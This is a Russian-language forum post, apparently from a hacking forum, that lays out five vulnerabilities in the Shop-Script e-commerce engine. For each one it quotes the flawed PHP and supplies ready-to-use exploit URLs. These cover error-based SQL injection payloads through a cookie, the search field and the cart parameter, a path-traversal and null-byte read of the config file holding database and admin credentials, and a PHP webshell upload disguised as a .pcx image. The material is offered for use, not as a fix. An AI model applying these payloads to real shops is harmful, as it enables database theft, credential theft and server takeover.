Оф. сайт: www.shop-script.ru | www.shop-script.соm 1) SQL injection Необходимо register_globals=on, magic_quotes=off Вообщем смотрим первый блок кода в файле index.php [77-88]: PHP: ... //$productID if (!isset($_GET["productID"])){ if (isset($_POST["productID"])){ $productID = (int)$_POST["productID"]; } }else{ $productID = (int)$_GET["productID"]; } И, проанализировав логику работы этого псевдофильтра, можно понять что передать переменную методом GET и POST не получится никак. НО! Разработчик забыл про куки! То есть создав куку с именем "productID" при register_global=on мы сможем создать глобальную переменную "$productID", которая в свою очередь попадет в запрос: PHP: if (isset($productID)) //to rollout categories navigation table { $q = db_query("SELECT categoryID FROM ".PRODUCTS_TABLE." WHERE productID='$productID'") or die (db_error()); $r = db_fetch_row($q); if ($r) $categoryID = $r[0]; } ... Правда для успешной эксплуатации нам потребуется magic_quotes=off. И к сожалению прямого вывода получить не удасться так как данная переменная попадает еще в несколько sql запросов дальше, и везде скрипт отрубается при возникновении ошибки в запросе. Так что тут юзать только метод вывода данных в тексте ошибок. Эксплойт: Code: http://shop-script/index.php COOKIE: productID=1' and (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))# -------------------------------------------------------------------------------- 2) Чтение файлов Зависимостей нет Файл includes/aux_page.php: PHP: if (isset($_GET["aux_page"])){ if (strstr($_GET["aux_page"],"aux") && file_exists("./cfg/".$_GET["aux_page"])){ $f = file("./cfg/".$_GET["aux_page"]); $out = implode("", $f); ... } ... } Вообщем все банально, только лишь проверка на наличие строки "aux" в переменной, но это обходится элементрано: Эксплойт: Code: http://shop-script/index.php?aux_page=blaaux/../connect.inc.php Вполне возможно, что юзать не существующую диру прокатит не на всех серверах, поэтому как вариант Code: http://shop-script/index.php?aux_page=connect.inc.php%00 Но в последнем случае уже нужны magic_quotes=off Кстати в файле connect.inc.php помимо данных для подключения к БД хранится и логин/хеш админа. -------------------------------------------------------------------------------- 3) SQL injection Зависимостей нет Интересная уязвимость, есть смысл рассмотреть ее повнимательнее. Файл includes/search_simple.php[17-55]: PHP: $_GET["searchstring"] = trim($_GET["searchstring"]); //Здесь поисковая строка проходит фильтрацию $_GET["searchstring"] = validate_search_string($_GET["searchstring"]); ... //Здесь поисковая строка разбивается на слова $search = explode(" ",$_GET["searchstring"]); ... if ($_GET["searchstring"]){ ... $s_search = "SELECT count(*) FROM ".PRODUCTS_TABLE." WHERE Enabled=1 and categoryID<>0 and "; //Здесь первое(!) слово из поисковой строки попадает в запрос $s_search .= "((name LIKE '%".$search[0]."%' OR description LIKE '%".$search[0]."%' OR brief_description LIKE '%".$search[0]."%') "; for ($j=1; $j<count($search); $j++){ //Здесь последующие(!) слова из поисковой строки попадают в запрос $s_search .= "AND (name LIKE '%".$search[$j]."%' OR description LIKE '%".$search[$j]."%' OR brief_description LIKE '%".$search[$j]."%') "; } $s_search .= ") "; //И здесь наш запрос выполняется $q = db_query($s_search) or die (db_error()); ... } Фактически стандартный механизм поиска, когда поисковая строка разбивается на слова и тд. Впринципе это не так важно, уязвимость основанна на кривом фильтре "validate_search_string". Смотрим файл cfg/functions.php: PHP: function validate_search_string($s){ ... $s = stripslashes($s); $s = str_replace("'","\'",$s); return $s; } То есть в строке, проходящей через эту функцию, удаляется слеширование (функция stripslashes), и насильно добавляется слеш к кавычке. То есть рассмотрим ситуацию когда magic_quotes=off: 1) Мы посылаем поисковую строку вида (дада, именно так со слешами): "bla\\'bla". 2) Пройдя через "stripslashes" строка будет иметь вид: "bla\'bla". 3) Пройдя через насильное добавление слеша к кавычкам: "bla\\'bla". То есть слеш слешируется, а вот кавычка нет, и это позволяет провести SQL injection успешно. А теперь рассмотрим ситуацию когда magic_quotes=on: 1) Мы посылаем поисковую строку вида (дада, именно так со слешами): "bla\'bla". 2) Благодаря magic_quotes-у наша строка автоматом прослешируется и будет иметь вид: "bla\\\'bla". 3) Пройдя через "stripslashes" строка будет иметь вид: "bla\'bla". 4) Пройдя через насильное добавление слеша к кавычкам: "bla\\'bla". То есть все тоже самое)) на юзабельность данного бага magic_quotes фактически не влияет. Правда прийдется слать два разных запроса. Эксплойт: Code: Magic_quotes=off http://shop-script/index.php?searchstring=1\\'))or(SELECT(COUNT(*))FROM((SELECT(1))UNION(SELECT(2))UNION(SELECT(3)))x/**/GROUP/**/BY/**/MID(VERSION(),FLOOR(RAND(0)*2),64))%23 Magic_quotes=on http://shop-script/index.php?searchstring=1\'))or(SELECT(COUNT(*))FROM((SELECT(1))UNION(SELECT(2))UNION(SELECT(3)))x/**/GROUP/**/BY/**/MID(VERSION(),FLOOR(RAND(0)*2),64))%23 -------------------------------------------------------------------------------- 4) SQL injection Необходимо magic_quotes=off Файл includes/shopping_cart.php [13-19]: PHP: if (isset($_GET["shopping_cart"]) || isset($_POST["shopping_cart"])){ if (isset($_GET["add2cart"]) && $_GET["add2cart"]>0){ $q = db_query("select in_stock from ".PRODUCTS_TABLE." where productID='".$_GET["add2cart"]."'") or die (db_error()); ... } ... } Тут все банально. Переменная не проходит фильтрацию и попадает в запрос. Эксплойт: Code: http://shop-script/index.php?shopping_cart=1&add2cart=1'or (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))# -------------------------------------------------------------------------------- 5) Заливка шелла Необходимы админские права. Файл products.php: PHP: if (isset($_FILES["picture"]) && $_FILES["picture"]["name"] && preg_match('/\.(jpg|jpeg|gif|jpe|pcx|bmp)$/i', $_FILES["picture"]["name"])){ $_FILES["picture"]["name"] = str_replace(" ","_",$_FILES["picture"]["name"]); $r = move_uploaded_file($_FILES["picture"]["tmp_name"], "./products_pictures/".$_FILES["picture"]["name"]); ... } Фактически файл проходит таки проверку на расширения. Но все наверное знают об обработке апачем множественных расширений. То есть апач обрабатывает с конца имени файла все расширения пока не найдет известное. На основе этого мы просто загружаем наш шелл с именем "shell.php.pcx". Он будет находится по адресу: http://shop-script/products_pictures/shell.php.pcx
Спущенно из раздела группы RoA, для пользователей Античата! UPD: версий нет. почитай на офф сайте. скрипт в единственной редакции выпускается